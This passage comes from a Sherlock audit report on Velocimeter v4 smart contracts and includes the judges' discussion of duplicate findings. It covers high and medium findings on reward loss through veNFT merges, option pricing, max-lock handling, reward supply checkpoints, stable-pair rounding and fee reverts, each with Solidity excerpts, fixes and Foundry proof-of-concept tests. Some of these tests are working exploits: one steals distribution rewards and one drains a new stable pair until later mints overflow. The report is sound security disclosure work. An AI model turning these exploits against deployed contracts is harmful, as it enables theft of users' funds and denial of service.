The only commonality between these issues is the use of the term "slippage." However, they are entirely different from each other. Please refer to my issue #291, where I don't even mention slippage, as the issue there involves price manipulation.

cvetanovv

@0xklapouchy I'll consider your comment and ask Sherlock HoJ whether to keep them duplicated or separate them.

0xklapouchy

@cvetanovv @WangSecurity

Reminder that this should be sorted out.

crypticdefense

I just saw this right now, and would like to quickly respond to @0xklapouchy's comments about #517 and #530. #517 is clearly a duplicate of the issues in the second group and has a coded PoC which shows loss of funds due to inadequate slippage protection regarding `paymentAmountToAddLiquidity`.

As for #517, the view function is indeed used in `OptionTokenV4::exerciseVe` and `OptionTokenV4::exerciseLp` functions. I will let the lead judge to decide on it, but I also wrote a coded PoC for that issue, which I commented on #174.

Lastly, I'm unsure why @rickkk137 mentioned that #524 "does not have a PoC because that attack path is not proveable", when it clearly has a coded PoC written explaining step-by-step why it's valid, with an impact causing loss of funds.

I will refrain from further comment and let the judges decide.

cc: @cvetanovv @WangSecurity @nevillehuang

Edit: I meant to say "As for #530" in the second paragraph, not #517 :)

goheesheng

Hi @WangSecurity @nevillehuang for #174 the problem submitted is using a spot price is manipulatable of the pool instead of TWAP and is also not recommended for any protocol to use LP pool spot price as a price feed. The issue of slippage is inherent but the issue can also be fixed using TWAP price which is challenging to manipulate. Slippage can be used to fix this problem, but in the report that this is a spot price manipulability.

0xklapouchy

@crypticdefense I missed 524 in first group. Edited my comment.

As for the 530, it is invalid, view function works as expected, should this function be used on-chain - `NO`. Can it be used off-chain - `YES`, for example to get the value for the slippage protection for `addLiquidity()`, you just attach this off-chain read as parameter when exercising.

The difference to 517 is that this view function is utilized on-chain, and only then there is a problem, but not in the view function, but in the function that used it.

cvetanovv

After a discussion with @WangSecurity and LSW, we decided to group all slippage protection issues into one issue. The reason is that a fix can be one. The protocol can check that token amounts are within reasonable deviation from the TWAP price.

I explained why these issues would be duplicated together now, but in a future contest in the same situation could be in separate groups, with this comment - https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/199#issuecomment-2294819677

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/27

spacegliderrrr

Fix looks good. Slippage protection is now properly applied.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-6: If user merges their `veNFT`, they'll lose part of their rewards

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/235

Found by

Audinarey, bughuntoor, dandan, sonny2k

Summary

If user merges their `veNFT`, they'll lose part of their rewards

Vulnerability Detail

When users claim rewards, they can at most claim up to the week before `last_token_time`.

```
for (uint i = 0; i < 50; i++) {
    if (week_cursor >= _last_token_time) break;
```

And given that `last_token_time` can at most be this week, this means that rewards in the `RewardsDistributor` are lagging at least a week at a time.

Then, if we look at the code of `merge` we'll see that the `from` token is actually burned.

```
function merge(uint _from, uint _to) external {
    require(attachments[_from] == 0 && !voted[_from], "attached");
    require(_from != _to);
    require(_isApprovedOrOwner(msg.sender, _from));
    require(_isApprovedOrOwner(msg.sender, _to));

    LockedBalance memory _locked0 = locked[_from];
    LockedBalance memory _locked1 = locked[_to];
    uint value0 = uint(int256(_locked0.amount));
    uint end = _locked0.end >= _locked1.end ? _locked0.end : _locked1.end;

    locked[_from] = LockedBalance(0, 0);
    _checkpoint(_from, _locked0, LockedBalance(0, 0));
    _burn(_from);
    _deposit_for(_to, value0, end, _locked1, DepositType.MERGE_TYPE);
}
```

Since `claim` requires `msg.sender` to be approved or owner, because the token is burned, they won't be able to claim the rewards. Any time a user merges their `veNFT`, they'll lose at least 1 week of rewards.

Impact

Loss of funds

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1208

Tool used

Manual Review

Recommendation

Do not burn the token

Discussion

nevillehuang

Note, please consider not making an escalation for the following issues and duplicates as I will make a self escalation to avoid a long drawn out escalation on multiple different issues. For any issues relating to duplicates of this issue, please leave comments here so we can aggregate comments and reconsider validity.

1. Most issues are likely invalid, user error, they can simply claim before withdrawing/merging, similar to this issue highlighted here
2. #235 and #236 makes the only valid point that the current week rewards are lost as rewards are lagging by one week, and is the only one that mentions the valid attack path, so I believe it is the only issue that is valid.

- #170, #367, #606, #682 - Some has good PoCs, but unfortunately, does not identify the attack path mentioned in point 1 above
- #236 - Valid, but would consider dupe of #235 because it has the same root cause per sherlock duplication guidelines and mentioned the lagging rewards

nevillehuang

Escalate as per comments above and as discussed here

sherlock-admin3

> Escalate as per comments above and as discussed here

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

sonny2k

Pointing out 1 week of lagging rewards seems like it's more of Impact elaboration rather than Attack Path elaboration itself, just more detailed than other issues as other issues simply state unclaimed rewards are lost. I think this impact elaboration is obvious, as long as the rewards are not claimed before calling merge/withdraw, the lost unclaimed rewards will be in the range of [1 week - 51 weeks]. Making this issue not so different from its dups, just more specific on the impact ofc. So if this issue is valid then all of its dups should be also valid IMO. BTW thanks for your hard work @nevillehuang! Your work judging this contest is truly sonorous.

0xklapouchy

@nevillehuang

Correct me if I'm wrong, but due to the `rewards lagging by one week`, when using the merge (the current week's rewards from one tokenId are transferred to another tokenId), the rewards are actually moved to the new tokenId. There is no reward loss for the current week. (rewards can even increase if `to` tokenId has a longer endTime).

Rewards are calculated based on the balanceOf at each `week_cursor`, with no rewards calculations occurring in between. The lock in the VotingEscrow is also based on weeks, so you can't withdraw() before the entire week has passed.

Therefore, the assumption that `current week rewards are lost` is invalid.

Based on the issue discussed at https://github.com/sherlock-audit/2024-06-magic sea-judging/issues/283, you should either invalidate all issues and classify them as `Low`, or determine that all of them are valid.

spacegliderrrr

Statement above is incorrect. When merging, current week's rewards are not transferred to new token.

During week N, user can claim rewards up to week `N - 1`, based on their balance at the beginning of week `N - 1`. Rewards for week N will be lost, as the token will be burned, and the new tokenId will receive the amount after the week has started (so the amount will be accounted for from the next week onward)

nevillehuang

1. I disagree that the precondition for attack path is not important, because without it, I would have invalidate all issues as user error since without me actually going and find the actual vulnerability path myself, there was no way I would have known that rewards of a lagging week will be lost
2. Regarding @0xklapouchy claims, I would need more code/example logic to determine if it is correct. From my understanding since the `_burn` was first invoked here, the rewards will be lost .

cvetanovv

I agree with @sonny2k comment. All duplicates have stated a root cause, and it is that rewards are lost when merging and withdrawing.

They have also pointed out the impact: reward will be lost.

Because the escalation is from Lead Judge for discussion purposes and this issue will remain valid, I plan to reject the escalation but duplicate #170, #367, #606, and #682 with this issue.

WangSecurity

Result: High Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- nevillehuang: rejected

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/24

spacegliderrrr

Fix looks good. Upon burning a token, the last owner is saved in mapping, which later the `RewardsDistributor` and `Bribe` check.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-7: Exercising a large amount of options gives significantly higher discounts than supposed to.

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/238

Found by

bughuntoor

Summary

Exercising options in multiple transactions would be significantly more profitable

Vulnerability Detail

Within the `OptionTokenV4` contract, in order to calculate the `paymentAmount` the contract uses its own interpretation of `TWAP` price. But instead of it just being the actual TWAP price, it's the average `amountOut` a user would receive during 4 consecutive periods of time.

```
function getTimeWeightedAveragePrice(
    uint256 _amount
) public view returns (uint256) {
    uint256[] memory amtsOut = IPair(pair).prices(
        underlyingToken,
        _amount,
        twapPoints
    );
    uint256 len = amtsOut.length;
    uint256 summedAmount;

    for (uint256 i = 0; i < len; i++) {
        summedAmount += amtsOut[i];
    }

    return summedAmount / twapPoints;
}
```

This would mean that the more option tokens are exercised, the better the price would be. (Since the more you swap into the AMM, the more valuable the output token becomes).

A simple example would be if there has been 1e18 of reserves in both tokens.

1. Exercising an option for 0.1e18 would cost you 0.09e18 payment token. Average payment/underlying price = 0.9
2. Exercising an option for 100e18 would cost you 0.99e18 payment token. Average payment/underlying price = 0.01

Impact

User will be able to exercise options at significantly higher discount than supposed to.

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/OptionTokenV4.sol#L323

Tool used

Manual Review

Recommendation

Do not use `amountsOut` as a way to price the options

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/22

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-8: voters cannot disable max lock

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/257

Found by

0xpiken, 1nc0gn170, Chinmay, HackTrace, Kirkeelee, bin2chen, bughuntoor, coffiasd, eeshenggoh, jovi, pashap9990

Summary

Voters can enable maxLock and this causes their voting power wouldn't decrease but they cannot disable maxLock

Vulnerability Detail

Textual PoC: Let's assume three voters lock their assets in ve,hence three nfts will be minted[1,2,3] and after that they enable maxLock

Initial values max_locked_nfts corresponding values:

() index 0	index 1	index 2
()		
1	2	3
()		

maxLockIdToIndex corresponding values:

() index 1	index 2	index 3
()		
1	2	3
()		

when owner of nft 3 want to disable maxLock he has to call `VotingEscrow::disable_max_lock` in result : **variable's values from line 897 til 901:**

- index = 2
- maxLockIdToIndex[3] = 0

- max_locked_nfts[2] = 3

max_locked_nfts corresponding values:

() index 0	index 1	index 2
()		
1	2	3
()		

maxLockIdToIndex corresponding values:

() index 1	index 2	index 3
()		
1	2	0
()		

finally

- maxLockIdToIndex[max_locked_nfts[2]] => maxLockIdToIndex[3] = 2 + 1
- last element of max_locked_nfts will be deleted

Coded PoC:

```
function testEnableAndDisableMaxLock() external {
    flowDaiPair.approve(address(escrow), TOKEN_1);
    uint256 lockDuration = 7 * 24 * 3600; // 1 week
    escrow.create_lock(400, lockDuration);
    escrow.create_lock(400, lockDuration);
    escrow.create_lock(400, lockDuration);

    assertEq(escrow.currentTokenId(), 3);
    escrow.enable_max_lock(1);
    escrow.enable_max_lock(2);
    escrow.enable_max_lock(3);


    assertEq(escrow.maxLockIdToIndex(1), 1);
    assertEq(escrow.maxLockIdToIndex(2), 2);
    assertEq(escrow.maxLockIdToIndex(3), 3);

    assertEq(escrow.max_locked_nfts(0), 1);
    assertEq(escrow.max_locked_nfts(1), 2);
    assertEq(escrow.max_locked_nfts(2), 3);

    escrow.disable_max_lock(3);

    assertEq(escrow.maxLockIdToIndex(1), 1);
    assertEq(escrow.maxLockIdToIndex(2), 2);
    assertEq(escrow.maxLockIdToIndex(3), 3);//mockLockIdToIndex has to be zero

    assertEq(escrow.max_locked_nfts(0), 1);
    assertEq(escrow.max_locked_nfts(1), 2);
}
```

Impact

Voters cannot withdraw their assets from ve because every time they call `VotingEscrow::withdraw` their lockEnd will be decrease

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L904

Tool used

Manual Review

Recommendation

```
    function disable_max_lock(uint _tokenId) external {
        assert(_isApprovedOrOwner(msg.sender, _tokenId));
        require(maxLockIdToIndex[_tokenId] != 0,"disabled");

        uint index =  maxLockIdToIndex[_tokenId] - 1;
        maxLockIdToIndex[_tokenId] = 0;

         // Move the last element into the place to delete
        max_locked_nfts[index] = max_locked_nfts[max_locked_nfts.length - 1];

+           if (index != max_locked_nfts.length - 1) {
+               uint lastTokenId = max_locked_nfts[max_locked_nfts.length - 1];
+               max_locked_nfts[index] = lastTokenId;
+               maxLockIdToIndex[lastTokenId] = index + 1;
+           }
+         maxLockIdToIndex[max_locked_nfts[index]] = 0;


-       maxLockIdToIndex[max_locked_nfts[index]] = index + 1;//@audit
↪   maxLockIdToIndex computes wrongly when lps want to disable last element in
↪   array

        // Remove the last element
        max_locked_nfts.pop();
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Velocimeter/v4-contracts/pull/12

spacegliderrrr

Fix looks good. `disable_max_lock` now works properly.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-9: `ve_supply` is updated incorrectly

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/495

Found by

0xpiken, 1nc0gn170, 4gontuk, Audinarey, Chinmay, KungFuPanda, Naresh, Ruhum, Varun_19, atoko, bughuntoor, burnerelu, cryptic, eeyore, sonny2k, talfao

Summary

An incorrect time check causes `ve_supply[t]` to be updated incorrectly.

Vulnerability Detail

When RewardsDistributorV2#checkpoint_total_supply() is called, the total supply at time `t` will be stored in `ve_supply[t]` for future distribution reward calculations:

```
    function _checkpoint_total_supply() internal {
        address ve = voting_escrow;
        uint t = time_cursor;
        uint rounded_timestamp = block.timestamp / WEEK * WEEK;
        IVotingEscrow(ve).checkpoint();

        for (uint i = 0; i < 20; i++) {
            if (t > rounded_timestamp) {
                break;
            } else {
                uint epoch = _find_timestamp_epoch(ve, t);
                IVotingEscrow.Point memory pt =
 ↪  IVotingEscrow(ve).point_history(epoch);
                int128 dt = 0;
                if (t > pt.ts) {
                    dt = int128(int256(t - pt.ts));
                }
@>              ve_supply[t] = Math.max(uint(int256(pt.bias - pt.slope * dt)),
 ↪  0);
            }
            t += WEEK;
        }
        time_cursor = t;
    }
```

`ve_supply[t]` should be only updated when `t` week has end (`t + 1 weeks <=`

`block.timestamp)` . However, `ve_supply[t]` could be updated incorrectly when `block.timestamp % 1 weeks` is `0`. If a `veNFT` is created immediately after `checkpoint_total_supply()` is called, its balance will not be accounted for in `ve_supply[t]`. A malicious user could exploit this flaw to steal future distribution rewards.

Copy below codes to RewardsDistributorV2.t.sol and run `forge test --match-test testStealFutureDistributeReward`

```
function testStealFutureDistributeReward() public {
    initializeVotingEscrow();

    vm.warp((block.timestamp + 1 weeks) / 1 weeks * 1 weeks);
    minter.update_period();
    //@audit-info malicious can mint a new nft (tokenId == 3) to steal future
↪   distribution reward
    flowDaiPair.approve(address(escrow), 2e18);
    escrow.create_lock(2e18,50 weeks);
    //@audit-info 10e18 DAI was deposited into distributor
    DAI.transfer(address(distributor), 10e18);
    vm.warp(block.timestamp + 1 weeks);
    //@audit-info update_period() is called to update  `tokens_per_week`
    minter.update_period();
    //@audit-info the owner of token3 is eligible to claim almost all
↪   distribution reward
    assertApproxEqAbs(distributor.claimable(3),  10e18, 0.2e18);
    distributor.claim(3);
    //@audit-info distributor doesn't have enough DAI for token1 to claim
    assertLt(DAI.balanceOf(address(distributor)), 0.2e18);
    assertEq(distributor.claimable(1), 5e18);
    vm.expectRevert();
    distributor.claim(1);
}
```

Impact

A malicious user could create a new veNFT to steal future distribution rewards, leaving other eligible users without any rewards to claim.

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/RewardsDistributorV2.sol#L149

Tool used

Manual Review

Recommendation

Make sure that `ve_supply[t]` should be only updated when `t` week has end (`t + 1 weeks <= block.timestamp`):

```
    function _checkpoint_total_supply() internal {
        address ve = voting_escrow;
        uint t = time_cursor;
        uint rounded_timestamp = block.timestamp / WEEK * WEEK;
        IVotingEscrow(ve).checkpoint();

        for (uint i = 0; i < 20; i++) {
-           if (t > rounded_timestamp) {
+           if (t >= rounded_timestamp) {
                break;
            } else {
                uint epoch = _find_timestamp_epoch(ve, t);
                IVotingEscrow.Point memory pt =
↪   IVotingEscrow(ve).point_history(epoch);
                int128 dt = 0;
                if (t > pt.ts) {
                    dt = int128(int256(t - pt.ts));
                }
                ve_supply[t] = Math.max(uint(int256(pt.bias - pt.slope * dt)),
↪   0);
            }
            t += WEEK;
        }
        time_cursor = t;
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Velocimeter/v4-contracts/pull/11

spacegliderrrr

Fix looks good. > is now changed to >=

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-1: First liquidity provider of a newly created stable pair can cause DOS and loss of funds

Source: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/27

Found by

0xNazgul, 0xShoonya, 1nc0gn170, 4gontuk, AMOW, Audinarey, BiasedMerc, Chinmay, DanielWang8824, Hearmen, MSaptarshi, Matin, MohammedRizwan, Naresh, Ruhum, Sentryx, Smacaud, StraawHaat, ZanyBonzy, atoko, blackhole, bughuntoor, burnerelu, cryptic, eeyore, hl_, hulkvision, jennifer37, jovi, mike-watson, oxkmmm, pseudoArtist, sonny2k, t.aksoy, talfao

Summary

`Pair::_k()` stable pair curve is susceptible to rounding down `_a` towards 0. This breaks the curve's invariant check during the `swap()` function, which allows the first user of a newly created pool to drain the pool and to inflate the total supply to cause overflow for future depositors.

Vulnerability Detail

Pair::_k()

```
function _k(uint x, uint y) internal view returns (uint) {
    if (stable) {
        uint _x = x * 1e18 / decimals0;
        uint _y = y * 1e18 / decimals1;
        uint _a = (_x * _y) / 1e18;
        uint _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);
        return _a * _b / 1e18;  // x3y+y3x >= k
    } else {
        return x * y; // xy >= k
    }
}
```

`Pair::_k` contains two different curves: `x3y+y3x` for stable pairs. `x * y` for volatile pairs.

The stable pair curve calculation is susceptible to rounding down to 0 if `_x *_y < 1e18` which will cause the return value of `k` to be `0`.

This allows the first user to transfer amounts of tokenA and tokenB that multiplied are less than 1e18, then mint LP tokens.

After this the user can swap most of the balance that they transfered during the mint, without having to worry about the curve invariant check, as `_k()` will return 0 for both calls: `require(_k(_balance0, _balance1) >= _k(_reserve0, _reserve1), 'K');`

As long as the user transfers 1 token before the swap call to satisfy the `amountIn` check: `require(amount0In > 0 || amount1In > 0, 'IIA');`

Below is a coded POC to demonstrate the attack that is possible, by transfering, minting and swapping tokens repeatedly, inflating `totalSupply` close to overflow.

Note: This issue was previously reported during an audit of Velodrome: Link

POC

Add the following function and test to `Pair.t.sol`:

```
function drainPair(Pair pair, uint initialFraxAmount, uint initialDaiAmount)
 ↪  internal {
    DAI.transfer(address(pair), 1); // transfer 1 DAI to pass `IIA` require
 ↪  check in swap()
    uint amount0;
    uint amount1;
    if (address(DAI) < address(FRAX)) {
        amount0 = 0;
        amount1 = initialFraxAmount - 1;
    } else {
        amount1 = 0;
        amount0 = initialFraxAmount - 1;
    }
    pair.swap(amount0, amount1, address(this), new bytes(0));
    FRAX.transfer(address(pair), 1); // transfer 1 FRAX to pass `IIA` require
 ↪  check in swap()
    if (address(DAI) < address(FRAX)) {
        amount0 = initialDaiAmount;
        amount1 = 0;
    } else {
        amount1 = initialDaiAmount;
        amount0 = 0;
    }
    pair.swap(amount0, amount1, address(this), new bytes(0));
}

function testDestroyPair() public {
    deployCoins();
    deployPairCoins();
    deal(address(DAI), address(this), 100 ether);
    deal(address(FRAX), address(this), 100 ether);

    deployPairFactoryAndRouter();
    //
    gaugeFactory = new GaugeFactory();
    bribeFactory = new BribeFactory();
    gaugePlugin = new GaugePlugin(address(DAI), address(FRAX), address(owner2));
    voter = new Voter(address(escrow), address(factory), address(gaugeFactory),
 ↪  address(bribeFactory), address(gaugePlugin));

    escrow.setVoter(address(voter));
    factory.setVoter(address(voter));
    // Set tx.origin to allow governor check to pass when creating pair
    vm.startPrank(0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496,
 ↪  0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496);
    Pair pair = Pair(factory.createPair(address(DAI), address(FRAX), true));
    for(uint i = 0; i < 11; i++) {
        DAI.transfer(address(pair), 10_000_000);
        FRAX.transfer(address(pair), 10_000_000);
        uint liquidity = pair.mint(address(this));
        console.log("pair:", address(pair), "liquidity:", liquidity);
        console.log("total liq:", pair.balanceOf(address(this)));
        drainPair(pair, FRAX.balanceOf(address(pair)) ,
 ↪  DAI.balanceOf(address(pair)));
        console.log("DAI balance:", DAI.balanceOf(address(pair)));
        console.log("FRAX balance:", FRAX.balanceOf(address(pair)));
        require(DAI.balanceOf(address(pair)) == 1, "should drain DAI balance");
        require(FRAX.balanceOf(address(pair)) == 2, "should drain FRAX balance");
    }
    DAI.transfer(address(pair), 10_000_000);
    FRAX.transfer(address(pair), 10_000_000);
    vm.expectRevert();
    pair.mint(address(this));
}
```

Run command: `forge test --match-test testDestroyPair  -vv` Output:

```
[PASS] testDestroyPair() (gas: 51917763)
Logs:
  pair: 0x181a7469a02658E0E9b0341cd64B62e5D0C30602 liquidity: 9999000
  total liq: 9999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0x181a7469a02658E0E9b0341cd64B62e5D0C30602 liquidity: 50000000000000
  total liq: 50000009999000
  DAI balance: 1
  FRAX balance: 2
 ...SNIP...
  pair: 0x181a7469a02658E0E9b0341cd64B62e5D0C30602 liquidity:
↪   1953128125002187500875000218750035000003500000200000005000000000000000
  total liq: 19531285156278125013125003937500787500105000009000000450000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0x181a7469a02658E0E9b0341cd64B62e5D0C30602 liquidity:
↪   97656425781390625065625019687503937500525000045000002250000050000000000000
  total liq:
↪   97656445312675781343750032812507875001312500150000011250000500000009999000
  DAI balance: 1
  FRAX balance: 2
```

As seen, one user can cause total liquidity to reach close to the maximum amount near overflow, which will cause any future minting attempts to overflow causing a revert.

Impact

This leads to 2 main issues:

Unable to easily redeploy the pool using pairFactory

The `pairFactory::getPair` mapping will cause redeployment of the pair pool to be impossible without also redeploying the PairFactory::createPair():

```
    function createPair(address tokenA, address tokenB, bool stable) external
↪   returns (address pair) {
...SNIP...
        require(getPair[token0][token1][stable] == address(0), 'PE'); // Pair:
↪   PAIR_EXISTS - single check is sufficient
...SNIP...
        pair = address(new Pair{salt:salt}());
        getPair[token0][token1][stable] = pair;
        getPair[token1][token0][stable] = pair; // populate mapping in the
↪   reverse direction
...SNIP...
    }
```

After the pair has been deployed the `getPair` mapping will be populated for both tokens for the stable pool, and there is no way to clear this pair mapping once it is set.

DOS of the pair

The totalSupply of the Pair contract will be highly inflated, meaning any future users who try to call mint() will be unable to do so as the totalSupply will overflow, leading to DOS of the contract.

Additionally, there is no real cost to the attack apart from gas costs (which are very low on L2s), meaning any griefer can execute this attack without any financial losses.

Code Snippet

Pair::_k() PairFactory::createPair():

Tool used

Manual Review

Recommendation

Currently mint() ensures that the transfered amounts for minting exceed MINIMUM_LIQUIDITY: liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY; However is only safe for the x * y curve and not for the stable curve x3y+y3x.

By adding a similar variable to MINIMUM_LIQUIDITY such as MINIMUM_K and ensuring the return from _k() exceeds this value during minting, this issue should be mitigated:

```
    function mint(address to) external lock returns (uint liquidity) {
        (uint _reserve0, uint _reserve1) = (reserve0, reserve1);
        uint _balance0 = IERC20(token0).balanceOf(address(this));
        uint _balance1 = IERC20(token1).balanceOf(address(this));
        uint _amount0 = _balance0 - _reserve0;
        uint _amount1 = _balance1 - _reserve1;

        uint _totalSupply = totalSupply; // gas savings, must be defined here
 ↪  since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
            liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
            _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first
 ↪  MINIMUM_LIQUIDITY tokens
+           if (stable) {
+                 require(_k(_amount0, _amount1) > MINIMUM_K, "Stable pair below
 ↪  min K");
+           }
```

```
        } else {
            liquidity = Math.min(_amount0 * _totalSupply / _reserve0, _amount1 *
↪   _totalSupply / _reserve1);
        }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Velocimeter/v4-contracts/pull/25

spacegliderrrr

Fix looks good.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-2: swap may be reverted if the input amount is not large enough, especially for low decimal tokens

Source: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/52

Found by

Bauer, GalloDaSballo, Ironsidesec, coffiasd, jennifer37

Summary

The swap fees will be sent to the `externalBribe`. If the calculated swap fee is round down to zero, possible in low decimal tokens, the swap transaction will be reverted because `externalBribe` does not accept 0 fee.

Vulnerability Detail

In swap(), the swap fees will be calculated based on the token's input amount. If the pool has one gauge, the swap fees will be sent to the `externalBribe::notifyRewardAmount()`. The vulnerability is that function `notifyRewardAmount` will be reverted if the fee amount is zero and the pool contract will send the swap fee if the inputAmount is larger than 0. So if the `amount0In` or `amount1In` is larger than 0 and the calculated swap fee is 0, the swap will be reverted.

The above scenario is unlikely triggered when the input token's decimal is high, for example 18. But when it comes to low decimal, it's possible. For example: GUSD, as one stable coin, it's decimal is 2. Checking the default swap fee ratio from the pariFactory, the default stable pool's swap fee ratio is 0.03%. Imagine we swap 30 dollar GUSD(3000GUSD) into another token, the swap fee will be zero.

```
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata
↪   data) external lock {
        ...
        if (hasGauge){
            if (amount0In != 0) _sendTokenFees(token0, fee0);
            if (amount1In != 0) _sendTokenFees(token1, fee1);
        }
       ...
    }
    function notifyRewardAmount(address token, uint amount) external lock {
        require(amount > 0);
        ...
    }
contract PairFactory is IPairFactory, Ownable {
    constructor() {
        stableFee = 3; // 0.03%
        volatileFee = 25; // 0.25%
        deployer = msg.sender;
    }
    ...
}
```

Poc

Add the below test case into FeesToBribes.t.sol. The test case will be reverted.

```
    function testSwapAndClaimFees() public {
        createLock();
        vm.warp(block.timestamp + 1 weeks);

        voter.createGauge(address(pair), 0);
        address gaugeAddress = voter.gauges(address(pair));
        address xBribeAddress = voter.external_bribes(gaugeAddress);
        xbribe = ExternalBribe(xBribeAddress);

        Router.route[] memory routes = new Router.route[](1);
        routes[0] = Router.route(address(USDC), address(FRAX), true);

        assertEq(
            router.getAmountsOut(USDC_1, routes)[1],
            pair.getAmountOut(USDC_1, address(USDC))
        );

        uint256[] memory assertedOutput = router.getAmountsOut(3e3, routes);
        console.log("USDC Amount: ", USDC_1);
        USDC.approve(address(router), USDC_1);
        router.swapExactTokensForTokens(
            3e3,
            assertedOutput[1],
            routes,
            address(owner),
            block.timestamp
        );
}
```

Impact

Pools with low decimal tokens may be reverted if the swap amount is not large enough.

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L295-L336

Tool used

Manual Review

Recommendation

If the calculated fee is 0, do not need to send fees to the `externalBribe`

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/26

spacegliderrrr

Fix looks good. Contract now checks if `amount > 0` before calling `notifyRewardAmount`

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-3: `update_period(..)` leads to wrong calculation in weekly emissions breaking accounting for the protocol

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/168

Found by

Audinarey, Ch_301, Ruhum, Sentryx, bbl4de, eeyore, mike-watson

Summary

The `update_period(..)` function does the calculation and distribution of voter weekly and `_teamEmissions` of FLOW. However, the `_teamEmissions` calculations is over estimated making the calculation wrong and more

Vulnerability Detail

The `_teamEmissions` is calculated on top of normal weekly emissions in the `update_period()` function on L119

```
File: Minter.sol
112:     function update_period() external returns (uint) { // @audit
113:         uint _period = active_period;
114:         if (block.timestamp >= _period + WEEK && initializer == address(0))
↪  { // only trigger if new week
115:             _period = (block.timestamp / WEEK) * WEEK;
116:             active_period = _period;
117:             uint256 weekly = weekly_emission(); // could be just 2k if
↪  voter has notified reward
118:
119:  ->         uint _teamEmissions = (teamRate * weekly) /
120:  ->             (PRECISION - teamRate);
121:             uint _required =  weekly + _teamEmissions;
122:             uint _balanceOf = _flow.balanceOf(address(this));
123:             if (_balanceOf < _required) {
124:  ->             _flow.mint(address(this), _required - _balanceOf);
```

Ideally , the evaluation should work as follows

- `weeklyPerGauge` = 2000e18, `teamRate` = 5% and `numberOfGauges` = 0
- it is expected that 100e18 be minted and transferred to the `teamEmissions` address and 2000e18 be transferred to the `Voter` as rewards

- bringing the total distributed (both team and voter) to 2100e18 for that epoch.

However as shown below, the `teamEmissions` calculation breaks this accounting

```
// uint _teamEmissions = = (teamRate * weekly) / (PRECISION - teamRate);
_teamEmissions = (50 * 2000e18) / (1000 - 50)
_teamEmissions = 105e18
```

Notice Now that

- the evaluation of `_teamEmissions` is 105e18 bringing the total to 2105e18 emmited for that epoch
- also the actual value now recieved by is `_teamEmissions` is 5.25% of the `weekly` emmisions instead of 5%

This descrepancy becomes larger as the `numberOfGauges` increases.

This can also lead to inflated values of `Minter.circulating_supply()` because the total supply of flow is increased contrary to the expected rate owing to each mint action (L124) that may occur due to excess `_teamEmissions` of FLOW calculated when `update_period` is called. This could break accounting also for protocol who integrate with VELOCIMETER and use the `circulating_supply()` function for core accounting

```
File: Minter.sol
    function circulating_supply() public view returns (uint)
        return _flow.totalSupply() - _ve.totalSupply();
    }
```

Impact

More FLOW is minted to team due to wrong calculation breaking accounting for the protocol and possible third party protocols who integrate with the protocol

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Minter.sol#L112-L120

Tool used

Manual Review

Recommendation

Modify the `Minter::update_period()` function as shown below

```
File: Minter.sol
     function update_period() external returns (uint) { // @audit
         uint _period = active_period;
         if (block.timestamp >= _period + WEEK && initializer == address(0))
 ↪  { // only trigger if new week
             _period = (block.timestamp / WEEK) * WEEK;
             active_period = _period;
             uint256 weekly = weekly_emission(); // could be just 2k if
 ↪  voter has notified reward

-             uint _teamEmissions = (teamRate * weekly) /
-               (PRECISION - teamRate);
+             uint _teamEmissions = (teamRate * weekly) /
+               (PRECISION);
             uint _required =  weekly + _teamEmissions;
             uint _balanceOf = _flow.balanceOf(address(this));
             if (_balanceOf < _required) {
                 _flow.mint(address(this), _required - _balanceOf);
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/16

spaceglidérrrr

Fix looks good. Team rate is now calculated correctly.

sherlock-admin2

